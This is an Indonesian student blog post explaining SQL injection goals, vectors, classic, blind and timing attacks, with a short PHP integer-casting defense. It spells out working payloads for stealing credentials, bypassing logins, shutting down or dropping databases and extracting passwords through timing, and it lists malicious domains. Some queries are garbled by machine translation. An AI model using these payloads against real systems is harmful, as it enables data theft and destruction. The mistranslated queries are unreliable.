Selasa, 11 Juni 2013

UAS SOFTWARE SECURITY

Software Security - SQL Injection



Tujuan dari Serangan SQL Injection

Mengidentifikasi parameter injeksi
Penyerang ingin menyelidiki Aplikasi Web untuk menemukan mana parameter dan bidang-input pengguna rentan terhadap SQLIA.

Menambah dan memodifikasi data

Tujuan dari serangan ini adalah untuk menambah atau mengubah informasi dalam database.


  • Menggali data pada sebuah web


Jenis-jenis serangan menggunakan teknik yang akan mengekstrak nilai data dari database. Tergantung pada jenis dari aplikasi Web, informasi ini bisa menjadi sensitif dan sangat diinginkan untuk penyerang. Serangan dengan maksud ini adalah Jenis yang paling umum dari SQLIA.

  • -          Melakukan nya di Denial of Service (DoS)


Serangan ini dilakukan untuk menutup database dari aplikasi Web, sehingga menyangkal layanan ke pengguna lain. Serangan yang melibatkan mengunci atau menjatuhkan tabel database juga termasuk dalam kategori ini.

  • -          Menghindari deteksi


Kategori ini mengacu pada teknik serangan tertentu yang digunakan untuk menghindari audit dan deteksi oleh system mekanisme perlindungan.

  • -          Melewati Authentication (bukti keaslian)


Tujuan dari jenis serangan adalah untuk memungkinkan penyerang untuk memotong otentikasi database dan aplikasi mekanisme. Melewati mekanisme seperti itu bisa memungkinkan penyerang untuk menganggap hak dan hak istimewa yang berkaitan dengan yang lain pengguna aplikasi.

  • -          Mengeksekusi perintah Jarak jauh


Jenis serangan berusaha untuk mengeksekusi perintah sewenang-wenang pada database. Perintah-perintah ini dapat disimpan prosedur atau fungsi yang tersedia bagi pengguna database.

  • -          Melakukan ekskalasi/perintah hak Istimewa


Serangan ini memanfaatkan kesalahan implementasi atau kekurangan logis dalam database untuk meningkatkan hak-hak istimewa dari penyerang. Berbeda dengan melewati otentikasi serangan, serangan ini fokus pada pemanfaatan database hak pengguna.

Metode Injeksi Memasukan Source
a.       Melakukan Injeksi melalui inputan pengguna
1.       Melalui URL Get

http://situskorban/artikel.php?id=10

URL di atas memiliki parameter id dan biasanya diikuti dengan angka tertentu. Angka ini menunjukkan nomor id dari artikel yang sedang tampil.

Hanya dengan menambahkan beberapa query SQL di belakang parameter tersebut, seorang hacker mampu mengakses database yang digunakan oleh situs tersebut. Berikut ini salah satu contoh query yang diinjectkan melalui URL berparameter
http://situskorban/artikel.php?id=10 union all select 1,concat(user,0x3a,pass,0x3a,email) from users --
Seorang hacker dalam melancarkan aksinya, biasanya butuh beberapa kali submit URL dan query sebelum akhirnya mendapatkan targetnya.
Nah… sekarang saya akan paparkan sedikit tentang bagaimana menghindari injection seperti halnya di atas. Point pentingnya di sini adalah bagaimana supaya parameter hanya bisa membaca nomor unik id dari artikelnya saja, dengan mengabaikan query yang disisipkan hacker. Atau dengan kata lain bagaimana supaya parameter yang berisi query injection dihilangkan, misal apabila diberikan URL berikut ini:
http://situskorban/artikel.php?id=10 union all select 1,concat(user,0x3a,pass,0x3a,email) from users --
akan menjadi:
http://situskorban/artikel.php?id=10

(bagian ‘union all select 1,concat(user,0x3a,pass,0x3a,email) from users –’ diabaikan)
Untuk menghilangkan query yang disisipkan pada parameter dalam URL, kita bisa menggunakan ‘teknik casting’. Dalam hal ini, kita mengcasting nilai parameter ke dalam tipe data integer. Sebagai contoh, misalkan kita memiliki sebuah string id = ’10 union all select 1,concat(user,0x3a,pass,0x3a,email) from users –’. Apabila id ini dicasting ke dalam integer maka akan dihasilkan id = 10, dengan cara memberikan perintah id = (int) $id.

Script di atas akan menghasilkan 10.

Nah… pada URL http://situskorban/artikel.php?id=…, biasanya dalam script artikel.php ini, pastilah di dalamnya terdapat perintah berikut

Perintah $id = $_GET['id']; digunakan untuk membaca nilai parameter id-nya untuk kemudian ditampilkan artikelnya berdasarkan id tersebut. Nah.. teknik casting di atas dapat diterapkan pada script artikel.php ini

Lebih baik lagi, kalau kita tambahkan function absolut abs()

Mengapa perlu ditambahkan abs()? ya… karena ada pula teknik SQL injection yang memanfaatkan ‘negative number’ pada parameter URLnya, misalkan:
http://situskorban/artikel.php?id=-10 union all select 1,concat(user,0x3a,pass,0x3a,email) from users --
Di sini, function abs() hanya untuk menjamin saja bahwa nilai parameter id adalah bernilai positif.

2.       Melalui Input field POST
Jenis ini tidak lah jauh berbeda dengan jenis GET(method), bedanya hanya terletak pada nama hhehehe GET dan POST, pada dasarnya method POST berasal dari variable yang ada pada form, contohnya seperti form login atau form pencarian, cara untuk mengindetifikasinya juga sama, dengan memberikan karakter ' atau - atau karakter ascii yang bisa menghasilkan error, tetapi terkadang perbedaan terletak pada operan (operator) yang ada, jika pada login form (form login) kita bisa menggunakan perintah seperti yang telah kita uraikan di atas, yaitu menjadikan SQL itu bernilai true, seperti
1' OR 1=1--
' OR 100=100#

SQL yang terjadi akan seperti berikut
select * from user where username='1' OR 1=1-- and password='$password'
selecct * from user where username='' OR 100=100# and password='$password'

yang terpenting menjadikannya TRUE, sedangkan pada kasus yang lain, seperti form pencarian, pada form pencarian biasanya query yang terjadi pada RDMS cukup komplesk, menggunakan operan LIKE OR atau AND, kadang-kadang ini bisa menjadi masalah untuk kita, misalnya query yang ada seperti berikut
select * from mahasiswa where nim like '%123%' OR nama like '%indonesia%'

pertanyaanya bagaiaman membuat atau memanipulasi query tersebut bernilaio true ? , sebenarnya cukup simple, kita hanya perlu memanipulasi operan LIKE '% %' bernilai true, misalnya dengan perintah2 berikut pada form search
123%'#
123%'--

maka query yang terjadi adalah
select * from mahasiswa where nim like '%123%'#%' OR nama like '%indonesia%'
select * from mahasiswa where nim like '%123%'--%' OR nama like '%indonesia%'

jika kita lebih jauh mengexploitasinya tidak lah berbeda dengan GET method, hanya berbeda pada bagian depanya saja, misalnya seperti
123%' order by 4#
atau
123%' order by 4--

maka query yang terjadi seperti berikut
select * from mahasiswa where nim like '%123%' order by 4#%' OR nama like '%indonesia%'
select * from mahasiswa where nim like '%123%' order by 4--%' OR nama like '%indonesia%'

lebih advanced
select * from mahasiswa where nim like '%123%' union select 1,2,3,4#%' OR nama like '%indonesia%'

atau

select * from mahasiswa where nim like '%123%' union select unhex(hex(1)),unhex(hex(2)),unhex(hex(3)),unhex(hex(4))#%' OR nama like '%indonesia%'

atau
select * from mahasiswa where nim like '%123%'/**/union/**/select/**/1,/**/2,/**/3,/**/4#%' OR nama like '%indonesia%'


b.    Injeksi melalui Cookies
Yaitu dengan memodifikasi sebuah cookies field yang mengandung SQLIA (SQL Injection Attack). Cookie adalah file yang berisi Negara informasi yang dihasilkan aplikasi byWeb dan disimpan pada klien mesin. Ketika klien kembali ke aplikasi Web, cookie dapat digunakan untuk mengembalikan informasi negara klien. Karena klien memiliki kontrol atas penyimpanan cookie, klien bisa berbahaya mengutak-atik isi cookie. Jika aplikasi Web menggunakan isi cookie untuk membangun query SQL, seorang penyerang bisa dengan mudah mengirimkan serangan oleh embedding dalam cookie.

c.       Injeksi melalui Variable Server
Yaitu dengan memanipulasi sebuah headers yang mengandung String SQLIA . Variabel Server koleksi variabel yang berisi HTTP, header jaringan, dan lingkungan variabel. Aplikasi web menggunakan variabel server berbagai cara, seperti penebangan statistik penggunaan dan mengidentifikasi menelusuri tren. Jika variabel ini masuk ke database tanpa sanitasi, ini bisa membuat SQL injection kerentanan .Karena penyerang bisa membina nilai-nilai yang ditempatkan di HTTP dan header jaringan, mereka dapat memanfaatkan celah ini dengan menempatkan SQLIA langsung ke header. Ketika query untuk log server variabel dikeluarkan ke database, serangan di header palsu adalah kemudian memicu.

d.      Injeksi Perintah Kedua
Dalam suntikan orde kedua, penyerang benih input berbahaya ke dalam sistem atau database untuk secara tidak langsung memicu SQLIA ketika masukan yang digunakan di lain waktu. Tujuanserangan semacam ini berbeda secara signifikan dari biasa (misalnya, firstorder) serangan injeksi. Suntikan orde kedua tidak mencoba untuk menyebabkan serangan terjadi ketika input berbahaya awalnya mencapai database. Sebaliknya, penyerang bergantung pada pengetahuan tentang manamasukan akan kemudian digunakan dan kerajinan serangan mereka sehingga terjadi selama penggunaan itu. Untuk memperjelas, kami menyajikan contoh klasik dari urutan kedua serangan injeksi (diambil dari [1]). Dalam contoh ini, seorang pengguna mendaftar pada sebuah situs web dengan menggunakan nama pengguna unggulan, seperti sebagai "admin" - ". Aplikasi ini benar lolos single mengutip pada input sebelum menyimpannya dalam database, mencegah nya efek berpotensi berbahaya. Pada titik ini, pengguna memodifikasi nya atau password-nya, sebuah operasi yang biasanya melibatkan (1) memeriksa bahwa pengguna mengetahui password saat ini dan (2) mengubah password jika cek tersebut berhasil.
-          Frekuensi dasar berbasis Aplikasi Utama
-          Frekuensi dasar berbasis Aplikasi Kedua
-          Aplikasi pendukung Sekunder
-          Aplikasi pengajuan mengalir

Serangan tidak terjadi ketika pertama kali mencapai database, tapi ketika digunakan di kemudian hari.
Input: admin' - ===> admin \ '-
querystring =
"Pengguna UPDATE SET pin =" + + newPin
"MANA userName = '" + username + "' AND pin =" + oldPin;
querystring =
"Pengguna UPDATE SET pin = '0 '
MANA userName = 'admin' -' DAN pin = 1 ";


Type Serangan SQL Injection

a.    SQL Injection Attack Classic
-          Piggy-backed Queries
Masukkan pertanyaan tambahan yang akan dieksekusi oleh database.

querystring = "Info SELECT DARI MANA usertable" +
"Login = '" + + Login "' AND pin =" + pin;
Masukan pin sebagai "0; DROP webapp Database"
querystring = "Info SELECT DARI MANA usertable
login = 'nama' DAN pin = 0; DROP webapp Database "

-          Tautologies
Buat query yang selalu mengevaluasi untuk benar untuk entri dalam database.

querystring = "Info SELECT DARI MANA usertable" +
"Login = '" + + Login "' AND pin =" + pin;
Masukan login sebagai "user 'atau 1 = 1 -"
querystring = "Info SELECT DARI MANA usertable
login = 'user' atau 1 = 1 - 'DAN pin = "

-          Encodings Alternatif
Encode serangan sedemikian rupa untuk menghindari masukan naif penyaringan.

querystring = "Info SELECT DARI MANA usertable" +
"Login = '" + + Login "' AND pin =" + pin;
Masukan pin sebagai "0; declare @ char (20) pilih
@ a = 0x73687574646f776e exec (@ a) "
"SELECT Info DARI MANA usertable
login = 'user' DAN pin = 0;
menyatakan @ char (20) pilih @ a = 0x73687574646f776e exec (@ a) "

-          Illegal / Logically Incorrect Queries
Tujuan: -  mengumpulkan informasi tentang jenis dan struktur dari database back-end dari aplikasi Web. Penyebab sintaks, jenis konversi, atau kesalahan logis ke dalam database.
- Jika penyerang menyuntikkan teks berikut ke bidang masukan pin:
"Mengkonversi (int, (pilih atas 1 nama dari sysobjects mana xtype = 'u'))".
Yang dihasilkan query:
SELECT akun FROM pengguna WHERE login ='' DAN pass ='' DAN pin = convert (int, (pilih atas 1 nama dari sysobjects mana xtype = 'u'))

-          UNION SQLIA
Tujuan: untuk melewati Otentikasi, penggalian data. Mengembalikan sebuah dataset yang adalah gabungan dari hasil asli pertama query dan hasil query disuntikkan.

- Seorang penyerang bisa menyuntikkan teks "'UNION SELECT CARDNO dari creditcards mana acctNo = 10032 -" ke dalam kolom login, yang menghasilkan query berikut:
SELECT akun FROM pengguna WHERE login ='' UNION
SELECT CARDNO dari creditcards mana acctNo = 10032 - DAN pass ='' DAN pin =

-          Stored Procedures SQLIA
Tujuan : Melakukan penolakan layanan, mengeksekusi perintah remote.
Menyebabkan database untuk menutup.

Menyuntikkan "'; SHUTDOWN, -" menjadi baik ladang userName atau password.
Suntikan ini menyebabkan prosedur yang tersimpan untuk menghasilkan query berikut:
SELECT akun FROM pengguna WHERE login = 'doe' DAN lulus = ''; SHUTDOWN, - DAN pin =


b.   Gangguan dari SQL Injection Attack
Mempunyai Tujuan yaitu : Mengidentifikasi parameter suntik, penggalian data, menentukan skema database. Query dimodifikasi akan dieksekusi berdasarkan jawaban untuk pertanyaan benar / salah.

Mempunyai 2 Teknik yaitu :
a.       Classic Blind Injection
b.      Timing Attack

-    Classic Blind
                Blind SQL Injection digunakan ketika sebuah aplikasi web yang rentan terhadap SQL injection tetapi hasil injeksi tidak terlihat penyerang. Halaman dengan kerentanan mungkin tidak menjadi salah satu yang menampilkan data tetapi akan ditampilkan berbeda tergantung pada hasil dari pernyataan logis disuntikkan ke pernyataan SQL yang sah disebut untuk halaman tersebut. Jenis serangan dapat menjadi waktu-intensif karena pernyataan baru harus dibuat untuk setiap bit pulih. Ada beberapa alat yang dapat mengotomatisasi serangan ini sekali lokasi kerentanan dan informasi target telah ditetapkan.
-          Conditional Response /  Kondisi Respon
Salah satu jenis SQL injection memaksa database untuk mengevaluasi pernyataan logis pada layar aplikasi biasa. Sebagai contoh, sebuah situs web review buku menggunakan string query untuk menentukan resensi buku untuk menampilkan. Jadi URL http://books.example.com/showReview.php?ID=5 akan menyebabkan server untuk menjalankan query.

“SELECT * FROM WHERE ID = bookreviews '5 ';”

dari mana ia akan mengisi halaman review dengan data dari review dengan ID 5, disimpan dalam bookreviews tabel. Permintaan terjadi sepenuhnya pada server, pengguna tidak tahu nama-nama database, tabel, atau field, juga tidak pengguna tahu string query. Pengguna hanya melihat bahwa URL di atas mengembalikan resensi buku. Seorang hacker dapat memuat URL http://books.example.com/showReview.php?ID=5 DAN 1 = 1 dan http://books.example.com/showReview.php?ID=5 DAN 1 = 2, yang dapat mengakibatkan query

SELECT * FROM WHERE ID = bookreviews '5 'DAN '1' = '1 ';
SELECT * FROM WHERE ID = bookreviews '5 'DAN '1' = '2 ';

masing-masing. Jika review beban asli dengan "1 = 1" URL dan halaman kosong atau kesalahan dikembalikan dari "1 = 2" URL, situs ini mungkin rentan terhadap serangan injeksi SQL. Hacker dapat melanjutkan dengan query string dirancang untuk mengungkapkan nomor versi MySQL yang berjalan pada server: http://books.example.com/showReview.php?ID=5 DAN substring (@ @ version, 1,1) = 4, yang akan menampilkan bedah buku pada server yang menjalankan MySQL 4 dan halaman kosong atau kesalahan sebaliknya. Hacker dapat terus menggunakan kode dalam string query untuk mengumpulkan informasi lebih lanjut dari server sampai jalan lain serangan ditemukan atau tujuan nya tercapai.

-       Conditional Errors / Kondisi Kesalahan
-       Out-Of-Band Channeling

-          Timing SQLIA
Jenis injeksi SQL buta bergantung pada database berhenti untuk jumlah waktu tertentu, kemudian kembali hasil, menunjukkan sukses mengeksekusi query SQL. Dengan menggunakan metode ini, penyerang menyebutkan setiap huruf dari potongan yang diinginkan data menggunakan logika berikut:
Jika huruf pertama dari nama database pertama adalah 'A', tunggu selama 10 detik.
Jika huruf pertama dari nama database pertama adalah 'B', tunggu selama 10 detik. dan lain-lain
Microsoft SQL Server
http://www.site.com/vulnerable.php?id=1 'waitfor delay '00: 00:10' -
MySQL
SELECT IF (ekspresi, true, false)
Menggunakan beberapa waktu pengambilan operasi misalnya Benchmark (), akan menunda respon server jika ungkapan Benar.
PATOKAN (5000000, encode ('MSG', 'oleh 5 detik'))
- Akan menjalankan fungsi encode 5000000 kali.
Tergantung pada kinerja database server dan beban, harus mengambil hanya waktu untuk menyelesaikan operasi ini. Yang penting adalah, dari sudut pandang penyerang, untuk menentukan nomor tinggi cukup Benchmark () pengulangan fungsi untuk mempengaruhi waktu respon database dengan cara yang terlihat.
Contoh kombinasi dari kedua pertanyaan:
1 UNION SELECT IF (SUBSTRING (user_password, 1,1) = CHAR (50), Benchmark (5000000, encode ('MSG', 'oleh 5 detik')), null) FROM pengguna WHERE user_id = 1;
Jika respon database butuh waktu lama, kita dapat berharap bahwa pengguna pertama karakter password dengan user_id = 1 adalah karakter '2 '.
(CHAR (50) == '2 ')
Dengan menggunakan metode ini untuk sisa karakter, itu mungkin untuk menghitung seluruh password disimpan dalam database. Metode ini bekerja bahkan ketika penyerang menyuntikkan query SQL dan isi dari halaman rentan tidak berubah.
Jelas, dalam contoh ini, nama-nama tabel dan jumlah kolom yang ditentukan. Namun, mungkin untuk menebak mereka atau memeriksa dengan metode trial and error.
Database selain MySQL juga memiliki fungsi berbasis waktu yang memungkinkan mereka untuk digunakan untuk serangan berbasis waktu:
WAIT MS SQL 'UNTUK DELAY '0: 0:10
PostgreSQL - pg_sleep ()
Melakukan serangan Blind_SQL_Injection manual sangat memakan waktu, tetapi ada banyak alat yang mengotomatisasi proses ini. Salah satunya adalah sqlmap (http://sqlmap.sourceforge.net/) sebagian dikembangkan dalam program hibah OWASP. Di sisi lain, alat-alat semacam ini sangat sensitif bahkan penyimpangan kecil dari aturan. Ini termasuk:
pemindaian cluster website lain, di mana jam tidak idealnya disinkronkan,
Layanan WWW dimana metode memperoleh argumen diubah, misalnya dari / index.php? ID = 10 sampai / ID, 10.

DBMS Spesific SQLIA
-          Data Base Fingerprint
Penyerang ingin menemukan jenis dan versi database yang aplikasi Web adalah
menggunakan. Beberapa jenis database yang berbeda merespon secara berbeda terhadap
query dan serangan, dan informasi ini dapat digunakan untuk "sidik jari" database. Mengetahui jenis dan versi database digunakan oleh aplikasi Web memungkinkan penyerang untuk kerajinan databasespecific serangan.

-          Data Base Mapping
Untuk benar mengekstrak data dari database, penyerang seringkali perlu mengetahui informasi skema database, seperti nama tabel, nama kolom, dan data kolom jenis. Serangan dengan maksud ini diciptakan untuk mengumpulkan atau menyimpulkan ini jenis informasi.


Serangan SQL yang Diperparah
-          Fast-Fluxing SQLIA
Contoh kasus :
Meletakkannya, dan memasukkannya seperti merupakan contoh yang baik dari perang taktis, yaitu menggabungkan taktik yang berbeda demi sehingga sulit untuk melacak dampak dari kampanye injeksi SQL tertentu. Perhatikan contoh berikut domain dikaburkan, secara alami berada di-fluks cepat dalam waktu injeksi SQL yang beberapa script kiddies Cina mengambil keuntungan dari:

% 6b% 6b% 36% 2e% 75% 73 - kk6.us

% 73% 61% 79% 38% 2E% 75% 73 - s.see9.us

% 66% 75% 63% 6B% 75% 75% 2E% 75% 73 - fuckuu.us

% 61% 2E% 6B% 61% 34% 37% 2E% 75% 73 - a.ka47.us

% 61% 31% 38% 38% 2E% 77% 73 - a188.ws

% 33% 2E% 74% 72% 6F% 6A% 61% 6E% 38% 2E% 63% 6F% 6D - 3.trojan8.com

% 6D% 31% 31% 2E% 33% 33% 32% 32% 2E% 6F% 72% 67 - m11.3322.org

Seperti biasa, obfuscations ini hanya puncak gunung es mengingat jumlah tak terhitung obfuscations teknik URL lain yang spammer dan phisher yang digunakan untuk mengambil keuntungan dari skala besar. Untuk saat ini, salah satu alasan utama kita tidak melihat suntikan SQL besar menggunakan obfuscations tersebut terutama karena fitur belum diimplementasikan dalam populer SQL injector untuk peniru script kiddies untuk mengambil keuntungan dari. Namun, dengan potensi untuk menghindari pendekatan deteksi umum, itu hanya masalah kemauan pribadi bagi seseorang untuk menambahkan lapisan tambahan ini untuk memastikan survivability kampanye.


Orang-orang di balik obfuscations ini alami multitasking di beberapa bidang tanah yang berbeda. Ambil contoh 3.trojan8.com (58.18.33.248) juga menanggapi w2.xnibi.com yang juga disuntikkan pada beberapa domain, w2.xnibi.com/index.gif harus tepat. . File palsu gif dalam semangat daftar direktori palsu untuk memperoleh lalu lintas dalam rangka untuk melayani malware, sebenarnya mencoba untuk mengeksploitasi kerentanan RealPlayer - JS / RealPlr.LB mengeksploitasi!. Semakin Anda pergi, semakin buruk mendapat.

Tidak ada komentar: